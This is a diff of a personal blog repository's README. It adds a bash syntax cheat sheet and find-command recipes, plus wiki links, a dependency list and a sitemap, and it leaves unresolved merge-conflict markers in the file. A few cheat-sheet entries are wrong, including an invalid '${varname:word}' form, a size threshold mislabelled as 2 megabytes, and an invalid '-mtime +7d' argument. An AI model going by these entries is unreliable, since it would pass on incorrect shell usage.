+column -t <filename>         # display info in pretty columns (often used with pipe)
+let <varname> = <equation>   # performs mathematical calculation using operators like +, -, *, /, %
+export VARNAME=value         # defines an environment variable (will be available in subprocesses)
+array[0]=valA                # how to define an array
+array[1]=valB
+array[2]=valC
+array=([2]=valC [0]=valA [1]=valB)  # another way
+array=(valA valB valC)              # and another
+${array[i]}                  # displays array's value for this index. If no index is supplied, array element 0 is assumed
+${#array[i]}                 # to find out the length of any element in the array
+${#array[@]}                 # to find out how many values there are in the array
+declare -a                   # the variables are treated as arrays
+declare -f                   # uses function names only
+declare -F                   # displays function names without definitions
+declare -i                   # the variables are treated as integers
+declare -r                   # makes the variables read-only
+declare -x                   # marks the variables for export via the environment
+${varname:-word}             # if varname exists and isn't null, return its value; otherwise return word
+${varname:word}              # if varname exists and isn't null, return its value; otherwise return word
+${varname:=word}             # if varname exists and isn't null, return its value; otherwise set it word and then return its value
+${varname:?message}          # if varname exists and isn't null, return its value; otherwise print varname, followed by message and abort the current command or script
+${varname:+word}             # if varname exists and isn't null, return word; otherwise return null
+${varname:offset:length}     # performs substring expansion. It returns the substring of $varname starting at offset and up to length characters
+${variable#pattern}          # if the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest
+${variable##pattern}         # if the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest
+${variable%pattern}          # if the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest
+${variable%%pattern}         # if the pattern matches the end of the variable's value, delete the longest part that matches and return the rest
+${variable/pattern/string}   # the longest match to pattern in variable is replaced by string. Only the first match is replaced
+${variable//pattern/string}  # the longest match to pattern in variable is replaced by string. All matches are replaced
+${#varname}                  # returns the length of the value of the variable as a character string
+*(patternlist)               # matches zero or more occurrences of the given patterns
++(patternlist)               # matches one or more occurrences of the given patterns
+?(patternlist)               # matches zero or one occurrence of the given patterns
+@(patternlist)               # matches exactly one of the given patterns
+!(patternlist)               # matches anything except one of the given patterns
+$(UNIX command)              # command substitution: runs the command and returns standard output
+## FUNCTIONS
+## The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth.
+## $@ is equal to "$1" "$2"... "$N", where N is the number of positional parameters. $# holds the number of positional parameters.
+function functname() {
+  shell commands
+}
+unset -f functname  # deletes a function definition
+declare -f          # displays all defined functions in your login session
+## FLOW CONTROLS
+statement1 && statement2  # and operator
+statement1 || statement2  # or operator
+-a                        # and operator inside a test conditional expression
+-o                        # or operator inside a test conditional expression
+## STRINGS
+str1 == str2               # str1 matches str2
+str1 != str2               # str1 does not match str2
+str1 < str2                # str1 is less than str2 (alphabetically)
+str1 > str2                # str1 is greater than str2 (alphabetically)
+str1 \> str2               # str1 is sorted after str2
+str1 \< str2               # str1 is sorted before str2
+-n str1                    # str1 is not null (has length greater than 0)
+-z str1                    # str1 is null (has length 0)
+## FILES
+-a file                   # file exists or its compilation is successful
+-d file                   # file exists and is a directory
+-e file                   # file exists; same -a
+-f file                   # file exists and is a regular file (i.e., not a directory or other special type of file)
+-r file                   # you have read permission
+-s file                   # file exists and is not empty
+-w file                   # your have write permission
+-x file                   # you have execute permission on file, or directory search permission if it is a directory
+-N file                   # file was modified since it was last read
+-O file                   # you own file
+-G file                   # file's group ID matches yours (or one of yours, if you are in multiple groups)
+file1 -nt file2           # file1 is newer than file2
+file1 -ot file2           # file1 is older than file2
+## NUMBERS
+-lt                       # less than
+-le                       # less than or equal
+-eq                       # equal
+-ge                       # greater than or equal
+-gt                       # greater than
+-ne                       # not equal
+if condition
+then
+  statements
+[elif condition
+  then statements...]
+[else
+  statements]
+fi
+for x in {1..10}
+do
+  statements
+done
+for name [in list]
+do
+  statements that can use $name
+done
+for (( initialisation ; ending condition ; update ))
+do
+  statements...
+done
+case expression in
+  pattern1 )
+    statements ;;
+  pattern2 )
+    statements ;;
+esac
+select name [in list]
+do
+  statements that can use $name
+done
+while condition; do
+  statements
+done
+until condition; do
+  statements
+done
+## COMMAND-LINE PROCESSING CYCLE
+## The default order for command lookup is functions, followed by built-ins, with scripts and executables last.
+## There are three built-ins that you can use to override this order: `command`, `builtin` and `enable`.
+command  # removes alias and function lookup. Only built-ins and commands found in the search path are executed
+builtin  # looks up only built-in commands, ignoring functions and commands found in PATH
+enable   # enables and disables shell built-ins
+eval     # takes arguments and run them through the command-line processing steps all over again
+## INPUT/OUTPUT REDIRECTORS
+cmd1|cmd2  # pipe; takes standard output of cmd1 as standard input to cmd2
+< file     # takes standard input from file
+> file     # directs standard output to file
+>> file    # directs standard output to file; append to file if it already exists
+>|file     # forces standard output to file even if noclobber is set
+n>|file    # forces output to file from file descriptor n even if noclobber is set
+<> file    # uses file as both standard input and standard output
+n<>file    # uses file as both input and output for file descriptor n
+n>file     # directs file descriptor n to file
+n<file     # takes file descriptor n from file
+n>>file    # directs file description n to file; append to file if it already exists
+n>&        # duplicates standard output to file descriptor n
+n<&        # duplicates standard input from file descriptor n
+n>&m       # file descriptor n is made to be a copy of the output file descriptor
+n<&m       # file descriptor n is made to be a copy of the input file descriptor
+&>file     # directs standard output and standard error to file
+<&-      # closes the standard input
+>&-      # closes the standard output
+n>&-     # closes the ouput from file descriptor n
+n<&-     # closes the input from file descripor n
+|tee <file># output command to both terminal and a file (-a to append to file)
+## PROCESS HANDLING
+## To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y.
+## This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal.
+## Of course, to interrupt a job, type CTRL+C.
+myCommand &  # runs job in the background and prompts back the shell
+jobs         # lists all jobs (use with -l to see associated PID)
+fg           # brings a background job into the foreground
+fg %+        # brings most recently invoked background job
+fg %-      # brings second most recently invoked background job
+fg %N        # brings job number N
+fg %string   # brings job whose command begins with string
+fg %?string  # brings job whose command contains string
+kill -l               # returns a list of all signals on the system, by name and number
+kill PID              # terminates process with specified PID
+kill -s SIGKILL 4500  # sends a signal to force or terminate the process
+kill -15 913          # Ending PID 913 process with signal 15 (TERM)
+kill %1               # Where %1 is the number of job as read from 'jobs' command.
+ps           # prints a line of information about the current running login shell and any processes running under it
+ps -a        # selects all processes with a tty except session leaders
+trap cmd sig1 sig2  # executes a command when a signal is received by the script
+trap "" sig1 sig2   # ignores that signals
+trap - sig1 sig2    # resets the action taken when the signal is received to the default
+disown <PID|JID>    # removes the process from the list of jobs
+wait                # waits until all background jobs have finished
+sleep <number>      # wait # of seconds before continuing
+pv                  # display progress bar for data handling commands. often used with pipe like |pv
+yes                 # give yes response everytime an input is requested from script/process
+## TIPS & TRICKS
+## set an alias
+cd; nano .bash_profile
+> alias gentlenode='ssh admin@gentlenode.com -p 3404'  # add your alias in .bash_profile
+## to quickly go to a specific directory
+cd; nano .bashrc
+> shopt -s cdable_vars
+> export websites="/Users/mac/Documents/websites"
+source .bashrc
+cd $websites
+## DEBUGGING SHELL PROGRAMS
+bash -n scriptname  # don't run commands; check for syntax errors only
+set -o noexec       # alternative (set option in script)
+bash -v scriptname  # echo commands before running them
+set -o verbose      # alternative (set option in script)
+bash -x scriptname  # echo commands after command-line processing
+set -o xtrace       # alternative (set option in script)
+trap 'echo $varname' EXIT  # useful when you want to print out the values of variables at the point that your script exits
+function errtrap {
+  es=$?
+  echo "ERROR line $1: Command exited with status $es."
+}
+trap 'errtrap $LINENO' ERR  # is run whenever a command in the surrounding script or function exits with non-zero status
+function dbgtrap {
+  echo "badvar is $badvar"
+}
+trap dbgtrap DEBUG  # causes the trap code to be executed before every statement in a function or script
+## ...section of code in which the problem occurs...
+trap - DEBUG  # turn off the DEBUG trap
+function returntrap {
+  echo "A return occurred"
+}
+trap returntrap RETURN  # is executed each time a shell function or a script executed with the . or source commands finishes executing
+## COLORS AND BACKGROUNDS
+## note: \e or \x1B also work instead of \033
+## Reset
+Color_Off='\033[0m' # Text Reset
+## Regular Colors
+Black='\033[0;30m'  # Black
+Red='\033[0;31m'    # Red
+Green='\033[0;32m'  # Green
+Yellow='\033[0;33m' # Yellow
+Blue='\033[0;34m'   # Blue
+Purple='\033[0;35m' # Purple
+Cyan='\033[0;36m'   # Cyan
+White='\033[0;97m'  # White
+## Additional colors
+LGrey='\033[0;37m'  # Ligth Gray
+DGrey='\033[0;90m'  # Dark Gray
+LRed='\033[0;91m'   # Ligth Red
+LGreen='\033[0;92m' # Ligth Green
+LYellow='\033[0;93m'# Ligth Yellow
+LBlue='\033[0;94m'  # Ligth Blue
+LPurple='\033[0;95m'# Light Purple
+LCyan='\033[0;96m'  # Ligth Cyan
+## Bold
+BBlack='\033[1;30m' # Black
+BRed='\033[1;31m'   # Red
+BGreen='\033[1;32m' # Green
+BYellow='\033[1;33m'# Yellow
+BBlue='\033[1;34m'  # Blue
+BPurple='\033[1;35m'# Purple
+BCyan='\033[1;36m'  # Cyan
+BWhite='\033[1;37m' # White
+## Underline
+UBlack='\033[4;30m' # Black
+URed='\033[4;31m'   # Red
+UGreen='\033[4;32m' # Green
+UYellow='\033[4;33m'# Yellow
+UBlue='\033[4;34m'  # Blue
+UPurple='\033[4;35m'# Purple
+UCyan='\033[4;36m'  # Cyan
+UWhite='\033[4;37m' # White
+## Background
+On_Black='\033[40m' # Black
+On_Red='\033[41m'   # Red
+On_Green='\033[42m' # Green
+On_Yellow='\033[43m'# Yellow
+On_Blue='\033[44m'  # Blue
+On_Purple='\033[45m'# Purple
+On_Cyan='\033[46m'  # Cyan
+On_White='\033[47m' # White
+## Example of usage
+echo -e "${Green}This is GREEN text${Color_Off} and normal text"
+echo -e "${Red}${On_White}This is Red test on White background${Color_Off}"
+## option -e is mandatory, it enable interpretation of backslash escapes
+printf "${Red} This is red \n"
+```
+</details>
+>
+#### Find
+## To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)
+find . -iname "\*.jpg"
+## To find directories
+find . -type d
+## To find files
+find . -type f
+## To find files by octal permission
+find . -type f -perm 777
+## To find files with setuid bit set
+find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
+## To find files with extension '.txt' and remove them
+find ./path/ -name '\*.txt' -exec rm '{}' \;
+## To find files with extension '.txt' and look for a string into them
+find ./path/ -name '\*.txt' | xargs grep 'string'
+## To find files with size bigger than 5 Mebibyte and sort them by size
+find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
+## To find files bigger than 2 Megabyte and list them
+find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
+## To find files modified more than 7 days ago and list file information
+find . -type f -mtime +7d -ls
+## To find symlinks owned by a user and list file information
+find . -type l -user <username-or-userid> -ls
+## To search for and delete empty directories
+find . -type d -empty -exec rmdir {} \;
+## To search for directories named build at a max depth of 2 directories
+find . -maxdepth 2 -name build -type d
+## To search all files who are not in .git directory
+find . ! -iwholename '*.git*' -type f
+## To find all files that have the same node (hard link) as MY_FILE_HERE
+find . -type f -samefile MY_FILE_HERE 2>/dev/null
+## To find all files in the current directory and modify their permissions
+find . -type f -exec chmod 644 {} \;
+---
+>>>>>>> master
 </details>
-
 ---
-
 ![Preview](https://i.imgur.com/nieW1vp.png)
-
 ## Wiki Nav
+<<<<<<< HEAD
 
 - [Home](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
 - [add copy to code blocks.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/add-copy-to-code-blocks.md)
@@ -1479,116 +2929,110 @@ find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 - [web archive.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/web-archive.md)
 - [wordpress vs headless cms.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/wordpress-vs-headless-cms.md)
 
+=======
+-   [Home](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
+-   [add copy to code blocks.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/add-copy-to-code-blocks.md)
+-   [Add site search w algolia.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Add-site-search-w-algolia.md)
+-   [adding mailing list.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/adding-mailing-list.md)
+-   [Adding search 2 gatsby site.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Adding-search-2-gatsby-site.md)
+-   [awesome.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/awesome.md)
+-   [broken links.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/broken-links.md)
+-   [configure custom domain.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/configure-custom-domain.md)
+-   [contentauthoring.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/contentauthoring.md)
+-   [full text search w lunar.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/full-text-search-w-lunar.md)
+-   [inject 4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject-4.md)
+-   [inject3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject3.md)
+-   [inject4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject4.md)
+-   [injected content part2.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-content-part2.md)
+-   [injected js part4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-js-part4.md)
+-   [injected part3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-part3.md)
+-   [links 2 embed.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-2-embed.md)
+-   [links to remember](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-to-remember)
+-   [Netlify Injected Content](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Netlify-Injected-Content)
+-   [old version of index.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/old-version-of-index.md)
+-   [optimize vscode.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/optimize-vscode.md)
+-   [possibly useful snippets.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/possibly-useful-snippets.md)
+-   [privacy policy.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/privacy-policy.md)
+-   [random stuff.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random-stuff.md)
+-   [random.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random.md)
+-   [ref type](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/ref-type)
+-   [SEO.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/SEO.md)
+-   [stable points.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/stable-points.md)
+-   [tech used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/tech-used.md)
+-   [Technologies Used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Technologies-Used.md)
+-   [THINGS TO EMBED.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/THINGS-TO-EMBED.md)
+-   [validation report.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/validation-report.md)
+-   [web archive.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/web-archive.md)
+-   [wordpress vs headless cms.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/wordpress-vs-headless-cms.md)
+>>>>>>> master
 ---
-
 ## Dependencies
 
 <details>
-  <summary>Click to expand!</summary>
 
+
+  <summary>Click to expand!</summary>
 [![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-search
 `^ 4.10.3`
-
 [![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-common
 `4.10.5`
-
 ![@ghost**](https://avatars.githubusercontent.com/u/10137?s=40&v=4)@algolia/requester-common
 `4.10.5`
-
 [![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/transporter
 `4.10.5`
-
 [![@stackbit**](https://avatars.githubusercontent.com/u/38996451?s=40&v=4)](https://github.com/stackbit)[stackbit / gatsby-plugin-menus](https://github.com/stackbit/gatsby-plugin-menus)@stackbit/gatsby-plugin-menus
 `0.0.4`
-
 [![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest)babel-jest
 `^ 24.7.1`
-
 [![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby)babel-preset-gatsby
 `^ 0.1.11`
-
 [![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby) `^ 2.5.0`
-
 [![@keyz**](https://avatars.githubusercontent.com/u/2268452?s=40&u=c3f56fe1d943474ffe4577a82ad79c1a79d7eb6e&v=4)](https://github.com/keyz)[keyz / identity-obj-proxy](https://github.com/keyz/identity-obj-proxy) `^ 3.0.0`
-
 [![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest) `^ 24.7.1`
-
 [![@lodash**](https://avatars.githubusercontent.com/u/2565403?s=40&v=4)](https://github.com/lodash)[lodash / lodash](https://github.com/lodash/lodash) `^ 4.17.11`
-
 [![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / react](https://github.com/facebook/react)react-test-renderer
 `^ 16.8.6`
-
 [![@getkirby-v2**](https://avatars.githubusercontent.com/u/6985611?s=40&v=4)](https://github.com/getkirby-v2)[getkirby-v2 / algolia-plugin](https://github.com/getkirby-v2/algolia-plugin)algolia
 `0.0.0`
-
 [![@ecomfe**](https://avatars.githubusercontent.com/u/2268460?s=40&v=4)](https://github.com/ecomfe)[ecomfe / babel-runtime](https://github.com/ecomfe/babel-runtime) `6.26.0`
-
 [![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / chokidar](https://github.com/paulmillr/chokidar) `3.4.0`
-
 [![@DefinitelyTyped**](https://avatars.githubusercontent.com/u/3637556?s=40&v=4)](https://github.com/DefinitelyTyped)[DefinitelyTyped / DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped)@types/node
 `^ 13`
-
 [![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / anymatch](https://github.com/micromatch/anymatch) `~ 3.1.1`
-
 [![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / braces](https://github.com/micromatch/braces) `~ 3.0.2`
-
 [![@chaijs**](https://avatars.githubusercontent.com/u/1515293?s=40&v=4)](https://github.com/chaijs)[chaijs / chai](https://github.com/chaijs/chai) `^ 4.2`
-
 [![@microsoft**](https://avatars.githubusercontent.com/u/6154722?s=40&v=4)](https://github.com/microsoft)[microsoft / dtslint](https://github.com/microsoft/dtslint) `^ 3.3.0`
-
 [![@eslint**](https://avatars.githubusercontent.com/u/6019716?s=40&v=4)](https://github.com/eslint)[eslint / eslint](https://github.com/eslint/eslint) `^ 6.6.0`
-
 [![@fsevents**](https://avatars.githubusercontent.com/u/48760001?s=40&v=4)](https://github.com/fsevents)[fsevents / fsevents](https://github.com/fsevents/fsevents) `~ 2.1.2`
-
 [![@gulpjs**](https://avatars.githubusercontent.com/u/6200624?s=40&v=4)](https://github.com/gulpjs)[gulpjs / glob-parent](https://github.com/gulpjs/glob-parent) `~ 5.1.0`
-
 [![@sindresorhus**](https://avatars.githubusercontent.com/u/170270?s=40&u=34acd557a042ac478d273a4621570cadb6b0bd89&v=4)](https://github.com/sindresorhus)[sindresorhus / is-binary-path](https://github.com/sindresorhus/is-binary-path) `~ 2.1.0`
-
 [![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / is-glob](https://github.com/micromatch/is-glob) `~ 4.0.1`
-
 [![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 7.0.0`
-
 [![@jonschlinkert**](https://avatars.githubusercontent.com/u/383994?s=40&u=335f06277f72722162e89bd5516849f2e82f37cf&v=4)](https://github.com/jonschlinkert)[jonschlinkert / normalize-path](https://github.com/jonschlinkert/normalize-path) `~ 3.0.0`
-
 [![@istanbuljs**](https://avatars.githubusercontent.com/u/13523395?s=40&v=4)](https://github.com/istanbuljs)[istanbuljs / nyc](https://github.com/istanbuljs/nyc) `^ 15.0.0`
-
 [![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / readdirp](https://github.com/paulmillr/readdirp) `~ 3.4.0`
-
 [![@isaacs**](https://avatars.githubusercontent.com/u/9287?s=40&u=60a280618307ae965cadbe52da4baa7e351c848c&v=4)](https://github.com/isaacs)[isaacs / rimraf](https://github.com/isaacs/rimraf) `^ 3.0.0`
-
 [![@sinonjs**](https://avatars.githubusercontent.com/u/6570253?s=40&v=4)](https://github.com/sinonjs)[sinonjs / sinon](https://github.com/sinonjs/sinon) `^ 9.0.1`
-
 [![@domenic**](https://avatars.githubusercontent.com/u/617481?s=40&v=4)](https://github.com/domenic)[domenic / sinon-chai](https://github.com/domenic/sinon-chai) `^ 3.3.0`
-
 [![@anodynos**](https://avatars.githubusercontent.com/u/856453?s=40&v=4)](https://github.com/anodynos)[anodynos / upath](https://github.com/anodynos/upath) `^ 1.2.0`
-
 [![@JedWatson**](https://avatars.githubusercontent.com/u/872310?s=40&u=9548676d01f104232ee42e5ac0d985db77e6a5a4&v=4)](https://github.com/JedWatson)[JedWatson / classnames](https://github.com/JedWatson/classnames) `2.2.6`
-
 [![@bestiejs**](https://avatars.githubusercontent.com/u/802850?s=40&v=4)](https://github.com/bestiejs)[bestiejs / benchmark.js](https://github.com/bestiejs/benchmark.js)benchmark
 `^ 1.0.0`
-
 [![@browserify**](https://avatars.githubusercontent.com/u/6320506?s=40&v=4)](https://github.com/browserify)[browserify / browserify](https://github.com/browserify/browserify) `^ 14.1.0`
-
 [![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 2.1.0`
-
 [![@jeromedecoster**](https://avatars.githubusercontent.com/u/158071?s=40&u=470a733fdc34a9fedab18ae4cf5109d2ea357425&v=4)](https://github.com/jeromedecoster)[jeromedecoster / opn-cli](https://github.com/jeromedecoster/opn-cli) `^ 3.1.0`
-
 [![@documentationjs**](https://avatars.githubusercontent.com/u/11415556?s=40&v=4)](https://github.com/documentationjs)[documentationjs / documentation](https://github.com/documentationjs/documentation) `^ 13.2.5`
-
 [![@babel**](https://avatars.githubusercontent.com/u/9637642?s=40&v=4)](https://github.com/babel)[babel / babel](https://github.com/babel/babel)@babel/core
 `7.12.3`
-
 [Cloudfare-Backup](https://bgoonz-blog-2-0.pages.dev/) ↞↠ Search Website: [search](https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4) ↞↠ [Backup Repo Deploy](https://bgoonzblog20-backup.netlify.app/#gsc.tab=0) ↞↠ [Github pages](https://bgoonz.github.io/BGOONZ_BLOG_2.0/) ↞↠ [Go To Site Wiki](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
-
 </details>
-
 ---
-
 ## Docs Structure
 
 <details>
-<summary>  Docs Structure  </summary>
 
+
+<summary>  Docs Structure  </summary>
 ```
 ├── blog
 │     ├── 300-react-questions.md
@@ -1815,10 +3259,9 @@ find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 ├── readme.md
 ├── showcase.md
 └── tree.md
-
 23 directories, 202 files
-
 ```
+<<<<<<< HEAD
 
 # SITEMAP
 
@@ -2212,52 +3655,258 @@ find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 
 ## [**🌍⇒docs/tutorials/google-lighthouse-cli🗺️**](https://bgoonz-blog.netlify.app/docs/tutorials/google-lighthouse-cli)
 
+=======
+## SITEMAP
+[**🌍⇒https://bgoonz-blog.netlify.app/🗺️**](https://bgoonz-blog.netlify.app/)
+[**🌍⇒blog🗺️**](https://bgoonz-blog.netlify.app/blog)
+[**🌍⇒docs🗺️**](https://bgoonz-blog.netlify.app/docs)
+[**🌍⇒readme🗺️**](https://bgoonz-blog.netlify.app/readme)
+[**🌍⇒review🗺️**](https://bgoonz-blog.netlify.app/review)
+[**🌍⇒showcase🗺️**](https://bgoonz-blog.netlify.app/showcase)
+[**🌍⇒blog/awesome-graphql🗺️**](https://bgoonz-blog.netlify.app/blog/awesome-graphql)
+[**🌍⇒blog/big-o-complexity🗺️**](https://bgoonz-blog.netlify.app/blog/big-o-complexity)
+[**🌍⇒blog/blog-archive🗺️**](https://bgoonz-blog.netlify.app/blog/blog-archive)
+[**🌍⇒blog/blogwcomments🗺️**](https://bgoonz-blog.netlify.app/blog/blogwcomments)
+[**🌍⇒blog/data-structures🗺️**](https://bgoonz-blog.netlify.app/blog/data-structures)
+[**🌍⇒blog/flow-control-in-python🗺️**](https://bgoonz-blog.netlify.app/blog/flow-control-in-python)
+[**🌍⇒blog/functions-in-python🗺️**](https://bgoonz-blog.netlify.app/blog/functions-in-python)
+[**🌍⇒blog/git-gateway🗺️**](https://bgoonz-blog.netlify.app/blog/git-gateway)
+[**🌍⇒blog/interview-questions-js🗺️**](https://bgoonz-blog.netlify.app/blog/interview-questions-js)
+[**🌍⇒blog/media-queries-explained🗺️**](https://bgoonz-blog.netlify.app/blog/media-queries-explained)
+[**🌍⇒blog/my-medium🗺️**](https://bgoonz-blog.netlify.app/blog/my-medium)
+[**🌍⇒blog/netlify-cms🗺️**](https://bgoonz-blog.netlify.app/blog/netlify-cms)
+[**🌍⇒blog/platform-docs🗺️**](https://bgoonz-blog.netlify.app/blog/platform-docs)
+[**🌍⇒blog/python-for-js-dev🗺️**](https://bgoonz-blog.netlify.app/blog/python-for-js-dev)
+[**🌍⇒blog/python-resources🗺️**](https://bgoonz-blog.netlify.app/blog/python-resources)
+[**🌍⇒blog/web-dev-trends🗺️**](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
+[**🌍⇒blog/web-scraping🗺️**](https://bgoonz-blog.netlify.app/blog/web-scraping)
+[**🌍⇒docs/about🗺️**](https://bgoonz-blog.netlify.app/docs/about)
+[**🌍⇒docs/articles🗺️**](https://bgoonz-blog.netlify.app/docs/articles)
+[**🌍⇒docs/audio🗺️**](https://bgoonz-blog.netlify.app/docs/audio)
+[**🌍⇒docs/career🗺️**](https://bgoonz-blog.netlify.app/docs/career)
+[**🌍⇒docs/community🗺️**](https://bgoonz-blog.netlify.app/docs/community)
+[**🌍⇒docs/content🗺️**](https://bgoonz-blog.netlify.app/docs/content)
+[**🌍⇒docs/docs🗺️**](https://bgoonz-blog.netlify.app/docs/docs)
+[**🌍⇒docs/faq🗺️**](https://bgoonz-blog.netlify.app/docs/faq)
+[**🌍⇒docs/gallery🗺️**](https://bgoonz-blog.netlify.app/docs/gallery)
+[**🌍⇒docs/interact🗺️**](https://bgoonz-blog.netlify.app/docs/interact)
+[**🌍⇒docs/javascript🗺️**](https://bgoonz-blog.netlify.app/docs/javascript)
+[**🌍⇒docs/leetcode🗺️**](https://bgoonz-blog.netlify.app/docs/leetcode)
+[**🌍⇒docs/other-content🗺️**](https://bgoonz-blog.netlify.app/docs/other-content)
+[**🌍⇒docs/privacy-policy🗺️**](https://bgoonz-blog.netlify.app/docs/privacy-policy)
+[**🌍⇒docs/projects🗺️**](https://bgoonz-blog.netlify.app/docs/projects)
+[**🌍⇒docs/python🗺️**](https://bgoonz-blog.netlify.app/docs/python)
+[**🌍⇒docs/quick-reference🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference)
+[**🌍⇒docs/react🗺️**](https://bgoonz-blog.netlify.app/docs/react)
+[**🌍⇒docs/reference🗺️**](https://bgoonz-blog.netlify.app/docs/reference)
+[**🌍⇒docs/search🗺️**](https://bgoonz-blog.netlify.app/docs/search)
+[**🌍⇒docs/sitemap🗺️**](https://bgoonz-blog.netlify.app/docs/sitemap)
+[**🌍⇒docs/tools🗺️**](https://bgoonz-blog.netlify.app/docs/tools)
+[**🌍⇒docs/tutorials🗺️**](https://bgoonz-blog.netlify.app/docs/tutorials)
+[**🌍⇒docs/about/eng-portfolio🗺️**](https://bgoonz-blog.netlify.app/docs/about/eng-portfolio)
+[**🌍⇒docs/about/ideas-for-this-website🗺️**](https://bgoonz-blog.netlify.app/docs/about/ideas-for-this-website)
+[**🌍⇒docs/about/intrests🗺️**](https://bgoonz-blog.netlify.app/docs/about/intrests)
+[**🌍⇒docs/about/interview🗺️**](https://bgoonz-blog.netlify.app/docs/about/interview)
+[**🌍⇒docs/about/resume🗺️**](https://bgoonz-blog.netlify.app/docs/about/resume)
+[**🌍⇒docs/articles/basic-web-dev🗺️**](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev)
+[**🌍⇒docs/articles/buffers🗺️**](https://bgoonz-blog.netlify.app/docs/articles/buffers)
